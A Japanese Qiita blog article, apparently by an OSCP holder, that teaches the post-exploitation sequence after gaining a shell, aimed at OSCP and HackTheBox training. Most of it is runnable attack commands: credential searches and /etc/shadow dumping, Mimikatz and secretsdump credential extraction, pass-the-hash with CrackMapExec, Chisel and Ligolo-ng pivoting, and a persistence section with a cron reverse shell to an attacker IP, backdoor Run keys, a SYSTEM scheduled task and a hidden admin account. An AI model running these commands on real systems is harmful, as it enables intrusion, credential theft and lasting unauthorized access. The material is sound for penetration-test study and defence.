1
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

『OSCP/OSCP+ホルダーが教える、Post-Exploitationの優先順位と探索テクニック』〜シェルを取った「その後」に何をすべきか〜

1
Posted at

要旨

 「シェルは取れた。でもその後どうするか分からない」——これは HackTheBox や OSCP の学習過程で誰もが一度は経験する壁です。初期侵害(Initial Access)は入口に過ぎません。**本当の価値は「侵入後に何を掴むか」**にあります。Post-Exploitation とは、シェル取得後に権限昇格・情報収集・横展開・ピボット・永続化へと続く一連の工程であり、ペネトレーションテストの成否を決定づける核心フェーズです。本記事では、OSCP 取得・HackTheBox ProHacker ランク・180 台以上のマシン攻略という実体験をもとに、「シェル取得後に何を、どの順番で、なぜやるのか」を体系化します。


記事本文

1. Post-Exploitation とは何か——なぜ「優先順位」が重要なのか

 Post-Exploitation を「とりあえず LinPEAS を動かして上から読む」と捉えている人は、OSCP 試験でも HTB でも時間を無駄にします。シェルを取得した直後にまず問うべきは「私は今、何者で、どこにいて、何に繋がっているのか」という状況把握です[1]。

 OSCP 試験では 23 時間 45 分という制限時間の中で複数のマシンを攻略する必要があります。Post-Exploitation の優先順位を間違えると「権限昇格の道が全部ふさがれている」と思って詰まるケースが頻発します。しかし実際には、情報の見落としや探索順序の誤りが原因であることがほとんどです。「何を探すか」より「どの順番で探すか」が、この世界では決定的な差を生みます。


2. Post-Exploitation の全体フロー

 シェルを取得してから最終目標(root / SYSTEM / ドメイン制圧)に至るまでのフローは次のように整理できます。

Post-Exploitation の全体フロー:

[初期侵害] シェル取得(低権限ユーザー)
  ↓
[Phase 1] 状況把握:今どこにいるのか(Who / Where / What)
  ↓
[Phase 2] ローカル情報収集:認証情報・設定ミス・経路探索
  ↓
[Phase 3] 権限昇格(PrivEsc):低権限 → root / SYSTEM
  ↓
[Phase 4] 認証情報の収集と再利用:ハッシュ・平文・SSHキー
  ↓
[Phase 5] ピボット・横展開:内部ネットワークへの侵入
  ↓
[Phase 6] 永続化(試験では不要、実務では必須)
  ↓
[Phase 7] 痕跡の確認とドキュメント化

 この順序には理由があります。権限昇格より先にピボットを試みる人は失敗しがちです。root を取得してから初めて「実はこのマシンが内部ネットワークへの鍵だった」と分かるケースが多いからです[1][2]。


3. Phase 1:状況把握——「今どこにいるのか」を 60 秒で把握する

 シェルを取った瞬間にすべきことは、ツールを動かすことではありません。まず自分の立ち位置を把握することです

Linux での初期状況把握

# ─── 1. 自分が誰で何の権限を持つか ───
id                          # uid・gid・所属グループ
whoami
sudo -l                     # sudoで実行できるコマンドの一覧(最重要)

# ─── 2. どのマシンにいるか ───
hostname
uname -a                    # OSとカーネルバージョン(カーネルExploit検討に使う)
cat /etc/os-release
cat /proc/version

# ─── 3. ネットワーク環境(ピボットの可能性を判断) ───
ip a                        # インターフェース一覧:複数NICがあれば内部NWへの窓口
ip route                    # ルーティングテーブル:内部サブネットが見えるか
ss -tlnp                    # リスニングポート:ローカルのみで動くサービスを探す
cat /etc/hosts              # 内部ホスト名の手がかり

# ─── 4. 他に誰がいるか ───
w                           # ログイン中ユーザー
last                        # 過去のログイン履歴
cat /etc/passwd | grep -v nologin   # シェルを持つユーザー一覧

Windows での初期状況把握

REM ─── 基本情報 ───
whoami /all                  REM ユーザー・グループ・特権を一括表示(最重要)
systeminfo                   REM OS・パッチレベル・ドメイン情報
hostname
net user                     REM ローカルユーザー一覧
net localgroup administrators REM 管理者グループのメンバー

REM ─── ネットワーク環境 ───
ipconfig /all                REM 全インターフェース(複数NICに注目)
netstat -ano                 REM リスニングポート・コネクション状況
route print                  REM ルーティングテーブル
arp -a                       REM ARP キャッシュ(到達可能なホスト)

REM ─── ドメイン参加確認(AD攻撃の起点になるか) ───
net user /domain             REM エラーならワークグループ、成功ならドメイン参加
echo %USERDNSDOMAIN%         REM ドメイン名が表示されれば AD 環境

 この段階で重要なのは ip aipconfig /all複数のネットワークインターフェースを発見できるかどうかです。eth0: 10.10.10.5 に加えて eth1: 172.16.1.1 が見えれば、そのマシンは内部ネットワークへのゲートウェイです。ピボットの起点として最優先でメモします[3]。


4. Phase 2:ローカル情報収集——「宝」は設定ファイルの中にある

 権限昇格に進む前に、その場で拾える認証情報・ヒント・経路を徹底的に探します。OSCP での経験則として、「PrivEsc が難しい」と感じる問題の 7 割は、実は平文のパスワードや設定ファイルの読み取り権限が起点になっています。

Linux での平文認証情報探索

# ─── 設定ファイルのパスワード平文を探す ───
grep -rn "password" /etc/ 2>/dev/null       # /etc 配下を全探索
grep -rn "password" /var/www/ 2>/dev/null   # Webアプリの設定

# ─── ホームディレクトリ・シェル履歴 ───
find /home -name "*.txt" -o -name "*.conf" -o -name "*.sh" 2>/dev/null
cat ~/.bash_history            # 過去に実行したコマンド(パスワードが含まれることがある)
find / -name ".bash_history" 2>/dev/null | xargs cat

# ─── SSH 秘密鍵 ───
find / -name "id_rsa" -o -name "id_ed25519" 2>/dev/null 2>/dev/null
ls -la ~/.ssh/

# ─── データベース設定(DBに平文パスワードが書いてある) ───
find / -name "*.conf" -o -name "wp-config.php" -o -name "config.php" 2>/dev/null
cat /var/www/html/wp-config.php 2>/dev/null | grep -i "password\|user\|db"

# ─── バックアップファイル(よく見落とされる) ───
find / -name "*.bak" -o -name "*.backup" -o -name "*.old" 2>/dev/null
ls -la /var/backups/

Windows での認証情報探索

REM ─── レジストリのパスワード ───
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"  REM 自動ログイン設定

REM ─── 設定ファイル・よく使われるパスの探索 ───
dir /s *pass* == *.config 2>nul
dir /s *cred* == *vnc* == *.xml 2>nul
type %USERPROFILE%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

REM ─── IIS の設定 ───
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config 2>nul
type C:\inetpub\wwwroot\web.config 2>nul

5. Phase 3:権限昇格——「ツール依存」から「思考依存」へ

 権限昇格の詳細は本シリーズの Linux PrivEsc 記事Windows PrivEsc 記事・AD 攻撃記事で詳しく論じています。ここでは OSCP 本番での優先順位に絞ります。

PrivEsc の探索優先順位(OSCP 試験での実戦順)

探索の優先順位(上から順に試す):

【最速でroot/SYSTEMを取れる可能性が高い順】

1. sudo -l の確認                  → NOPASSWDがあれば即GTFOBins
2. SUID/SGID バイナリの確認         → find / -perm -u=s 2>/dev/null
3. 書き込み可能なcronジョブ          → cat /etc/crontab ; ls -la /etc/cron.*
4. AlwaysInstallElevated (Win)     → reg query ... (両方1なら即MSI)
5. SeImpersonatePrivilege (Win)    → whoami /priv → PrintSpoofer/GodPotato
6. Writable Service Binary (Win)   → accesschk.exe でサービスACL確認
7. Writable PATH ディレクトリ       → echo $PATH ; ls -la 各ディレクトリ
8. Capabilities の確認             → getcap -r / 2>/dev/null
9. 設定ファイルの認証情報            → Phase 2 で発見したものを試す
10. カーネルエクスプロイト           → 最終手段(クラッシュリスクあり)

 カーネルエクスプロイトは最後の手段です。OSCP 試験では対象マシンをクラッシュさせると再起動が必要になり、時間をロスします。必ず設定ミスやミスコンフィギュレーションを徹底的に試してからカーネルに手を出してください[1][4]。

ツールの使い方の鉄則

# LinPEAS の出力をファイルに保存してから確認する
./linpeas.sh 2>/dev/null | tee /tmp/linpeas_output.txt

# 出力を色の意味で読む
# 赤/黄色 → 高確率で悪用可能
# 緑      → 興味深い情報
# 青      → 一般情報

# LinPEAS が大量のノイズを出す場合、まず手動確認を先に終わらせる
# ツールは「確認」のために使い、「発見」の主役は自分の目で

 「LinPEAS を動かして赤いところだけ見ればいい」という考えは試験で通用しません。ツールが見落とす組み合わせ(例:書き込み可能な cron スクリプトがカスタムパスのバイナリを呼んでいる)を手動で発見する能力が OSCP の本質的なテストです[1]。


6. Phase 4:認証情報の収集と再利用——「一つのパスワードが全部を開ける」

 root / SYSTEM を取得した直後に必ず行うべきことが認証情報の全量収集です。現実のネットワークでは、パスワードは使い回されています[5]。一つのマシンで取得した認証情報が、内部ネットワークの別マシンへの横展開の鍵になります。

Linux:root 取得後の認証情報収集

# /etc/shadow の取得(ハッシュクラック用)
cat /etc/shadow

# ハッシュのクラック(攻撃者マシン側で実行)
john --wordlist=/usr/share/wordlists/rockyou.txt shadow.txt
hashcat -m 1800 shadow.txt /usr/share/wordlists/rockyou.txt  # SHA-512

# SSH 秘密鍵の収集
find / -name "id_rsa" -o -name "id_ed25519" 2>/dev/null
# → 他ユーザーや他マシンへの鍵がないか確認

# 全ユーザーのシェル履歴
for user in $(ls /home); do
  echo "=== $user ==="; cat /home/$user/.bash_history 2>/dev/null
done

Windows:SYSTEM 取得後の認証情報収集

REM ─── Mimikatz によるメモリダンプ(最重要) ───
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
REM → ログイン中ユーザーの平文パスワード・NTLMハッシュを取得

REM ─── SAM データベースのダンプ(ローカルアカウント) ───
mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" "exit"

REM ─── Impacket によるリモートダンプ(Linux 攻撃者マシンから) ───
python3 secretsdump.py Administrator:'Password1'@192.168.1.10

 Mimikatz で取得した NTLM ハッシュはPass-the-Hash(PtH)攻撃に直接使用できます。平文パスワードが不明でも、ハッシュだけで他のマシンへの認証が可能です[5]。

# Impacket で PtH を実行(Linux 側から)
python3 psexec.py -hashes :8846f7eaee8fb117ad06bdd830b7586c Administrator@192.168.1.20

# CrackMapExec でネットワーク全体をスキャン
crackmapexec smb 192.168.1.0/24 -u Administrator -H 8846f7eaee8fb117ad06bdd830b7586c
# → ハッシュが通るマシンを一括で特定できる

7. Phase 5:ピボット——「壁の向こう側」へ到達する

 「ピボット」とは、侵害済みのマシンを踏み台(ジャンプホスト)として、そのマシンからしか到達できない内部ネットワークへ侵入することです[3]。これは OSCP 試験の AD セットで必須の技術であり、実務でも最も価値の高いスキルの一つです。

ピボットが必要な状況の判断

# Phase 1 で複数NICを発見した場合
ip a
# eth0: 10.10.10.5/24   ← 外部(自分がアクセスしてきたNW)
# eth1: 172.16.1.1/24   ← 内部(ここに DC・DBサーバーがある可能性)

# 内部NWのスキャン(ping sweep)
for i in $(seq 1 254); do (ping -c 1 172.16.1.$i | grep "bytes from" &); done

# もしくは、ポートスキャナを転送して使う
# → まずピボットツールをセットアップしてから全力偵察

ツール選定:Chisel vs Ligolo-ng

2026 年現在、ピボットツールのデファクトスタンダードは ChiselLigolo-ng の二択です[6]。

ツール 方式 使いどころ 特徴
Chisel SOCKS5 プロキシ / ポートフォワード 特定のポート・サービスへのピンポイントアクセス HTTP トンネル、設定が素直
Ligolo-ng TUN インターフェース(VPN ライク) 内部NWを丸ごとルーティングしたい場合 proxychains 不要、nmap がそのまま動く

Chisel を使ったリバース SOCKS プロキシ(最もよく使うパターン)

# ─── 攻撃者マシン(Kali)側 ───
./chisel server -p 8080 --reverse

# ─── 侵害済みマシン(ピボット)側 ───
./chisel client 10.10.14.X:8080 R:socks

# ─── proxychains の設定(/etc/proxychains4.conf) ───
# 末尾に追加:
socks5 127.0.0.1 1080

# ─── proxychains 経由で内部NWにアクセス ───
proxychains nmap -sT -Pn -p 22,80,443,445,3389 172.16.1.0/24
proxychains crackmapexec smb 172.16.1.0/24
proxychains python3 secretsdump.py domain/user:'pass'@172.16.1.10

Ligolo-ng を使った TUN ベースのピボット(広範囲の内部NW探索に最適)

# ─── 攻撃者マシン(Kali)側 ───
# TUN インターフェースの作成(初回のみ)
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up

# Ligolo proxy の起動
./proxy -selfcert

# ─── 侵害済みマシン(ピボット)側 ───
./agent -connect 10.10.14.X:11601 -ignore-cert

# ─── 攻撃者マシン:セッション選択 → ルート追加 → トンネル開始 ───
# proxy の TUI で "session" を選択し "start" を実行
sudo ip route add 172.16.1.0/24 dev ligolo

# → これだけで 172.16.1.0/24 に proxychains なしで直接アクセス可能
nmap -sV -p- 172.16.1.10    # proxychains 不要!

 Ligolo-ng の最大の利点はproxychains が不要なことです。TUN インターフェースによってアタッカーマシンに「172.16.1.0/24 というルートが存在する」かのように振る舞えるため、nmap・impacket・Mimikatz などあらゆるツールが素のまま動きます[7]。


8. Phase 6:永続化——「実務では必須、試験では慎重に」

 OSCP 試験では永続化の実装は採点対象外であり、むしろマシンを不安定化させるリスクがあるため推奨されません。しかし実務のペネトレーションテストや Red Team 演習では、永続化は「侵害が実際に継続できること」を実証する重要な証拠となります[8]。

Linux での代表的な永続化手法

# SSH 公開鍵の配置(最もクリーンで推奨される方法)
mkdir -p /root/.ssh
echo "ssh-rsa AAAA..." >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
chmod 700 /root/.ssh

# cron を使ったリバースシェルの定期実行
(crontab -l; echo "*/5 * * * * /bin/bash -c 'bash -i >& /dev/tcp/10.10.14.X/4444 0>&1'") | crontab -

# SUID バイナリの作成(検知されやすいため実務では慎重に)
cp /bin/bash /tmp/.bash_suid
chmod +s /tmp/.bash_suid

Windows での代表的な永続化手法

REM ─── レジストリ Run キーへの登録 ───
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdate" /t REG_SZ /d "C:\Windows\Temp\backdoor.exe" /f

REM ─── スケジュールタスクの作成 ───
schtasks /create /tn "WindowsDefenderUpdate" /tr "C:\Windows\Temp\shell.exe" /sc minute /mo 5 /ru SYSTEM

REM ─── 新規ユーザーの追加(最も検知されやすい) ───
net user backdoor Password123! /add
net localgroup administrators backdoor /add

9. OSCP 試験での実戦マインドセット——「詰まったら再列挙」

 OSCP を受験した経験から、試験で詰まる原因のほぼすべては「列挙の不足」です。「権限昇格の道がない」と感じる前に、以下のチェックをしてください[1][4]。

詰まったときの再列挙チェックリスト:

Linux:
□ /opt, /var/backups, /srv を確認したか
□ 全ユーザーのホームディレクトリを確認したか
□ ローカルで動いているサービス(ss -tlnp)を確認したか
□ カスタムスクリプト(/usr/local/bin, /opt)のソースを読んだか
□ /var/log 内に認証情報のヒントがないか
□ 環境変数(env, printenv)にパスワードが含まれていないか

Windows:
□ whoami /priv で SeImpersonatePrivilege を確認したか
□ AlwaysInstallElevated を確認したか(レジストリ2箇所)
□ PowerShell の履歴ファイルを確認したか
□ 全サービスの ImagePath を確認したか(unquoted service path)
□ ドメイン参加済みなら BloodHound を試したか

共通:
□ 見つけたすべてのパスワードを他のユーザー・サービスで試したか
□ ログイン中の他ユーザーのプロセスを確認したか(ps aux / tasklist)
□ LinPEAS / WinPEAS の出力を再度読み直したか

10. Post-Exploitation ツールキット早見表

フェーズ Linux Windows
状況把握 id ip a ss -tlnp whoami /all ipconfig /all netstat -ano
自動列挙 LinPEAS WinPEAS / PowerUp / Seatbelt
PrivEsc 参照 GTFOBins GTFOBins-win / LOLBAS
認証情報収集 cat /etc/shadow find .bash_history Mimikatz / secretsdump.py
ハッシュクラック hashcat / john hashcat / john
横展開 ssh / CrackMapExec / Impacket psexec.py / wmiexec.py / RDP
ピボット(シンプル) Chisel + proxychains Chisel + proxychains
ピボット(高機能) Ligolo-ng(TUN) Ligolo-ng(TUN)
AD 攻撃 BloodHound / Impacket BloodHound / Rubeus / Mimikatz
永続化 SSH 鍵 / cron reg Run / schtasks / SSH 鍵

11. セキュリティエンジニアとして考えるべきこと

 OSCP の試験を通じて私が最も深く刻み込まれたことは、「ツールは思考の補助であり、思考の代替にはならない」ということです。LinPEAS は列挙を加速しますが、「なぜこの設定が危険なのか」を理解していなければ、赤くハイライトされた結果を見ても意味を掴めません。Ligolo-ng は内部ネットワークへのアクセスを劇的に楽にしますが、「なぜこのマシンが踏み台になれるのか」というネットワーク設計の理解がなければ宝の持ち腐れです。

 防衛側に立ったとき、Post-Exploitation の各フェーズを知っていることは「攻撃者が侵入後に何をしようとするか」という視点を与えてくれます。認証情報の平文保存がなぜ危険か、複数 NIC を持つサーバーのネットワーク分離がなぜ重要か——これらは攻撃を経験して初めて「肌で分かる」知識です。

 シェルを取ることよりも、取った後に何をするかが問われる世界——それが Post-Exploitation であり、ペネトレーションテストの本質だと考えます。


参考文献

[1] Hack The Dome. "OSCP Survival Guide 2025: The Ultimate Linux Privilege Escalation Cheat Sheet." December 22, 2025.
https://hackthedome.com/oscp-survival-guide-2025-the-ultimate-linux-privilege-escalation-cheat-sheet/

[2] g-ventimiglia. "Windows-Penetration-Testing: Post-Exploitation Methodology." GitHub.
https://github.com/g-ventimiglia/Windows-Penetration-Testing

[3] The Pentesting Guide. "Tunnelling & Port Forwarding."
https://the-pentesting-guide.marmeus.com/pivoting/tunnelling_and_port_forwarding

[4] Landon Crabtree. "OSCP Checklist."
https://notes.landon.pw/oscp/checklist/OSCP-Checklist

[5] Huntress. "What is Mimikatz? The Credential Dumping Tool You Should Know." September 5, 2025.
https://www.huntress.com/cybersecurity-101/topic/what-is-mimikatz

[6] morimori Security Blog. "Chisel / Ligolo-ng / Ligolo-mp — Practical Pivoting Guide (2026)." March 3, 2026.
https://morimori-dev.github.io/posts/tech-chisel-ligolo-ligolo-mp/

[7] nicocha30. "Ligolo-ng — An advanced, yet simple, tunneling/pivoting tool that uses a TUN interface." GitHub.
https://github.com/nicocha30/ligolo-ng

[8] Black Hat Ethical Hacking. "Post-Exploitation Techniques: Maintaining Access, Escalating Privileges, Gathering Credentials, Covering Tracks." November 11, 2024.
https://www.blackhatethicalhacking.com/articles/post-exploitation-techniques-maintaining-access-escalating-privileges-gathering-credentials-covering-tracks/

[9] Noorstream Security. "Essential Post-Exploitation Techniques for 2025 Cybersecurity." September 25, 2025.
https://noorstream.com/2025/09/25/post-exploitation-tools-2025-c2-privesc-lateral-movement-and-exfiltration-in-practice/

[10] HackTricks. "Post-Exploitation / Privilege Escalation."
https://book.hacktricks.xyz/

[11] swisskyrepo. "InternalAllTheThings — Post-Exploitation."
https://swisskyrepo.github.io/InternalAllTheThings/

[12] RBT Security. "Tunneling and Pivoting using Ligolo-NG." August 29, 2025.
https://www.rbtsec.com/blog/tunneling-and-pivoting-using-ligolo-ng/

1
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?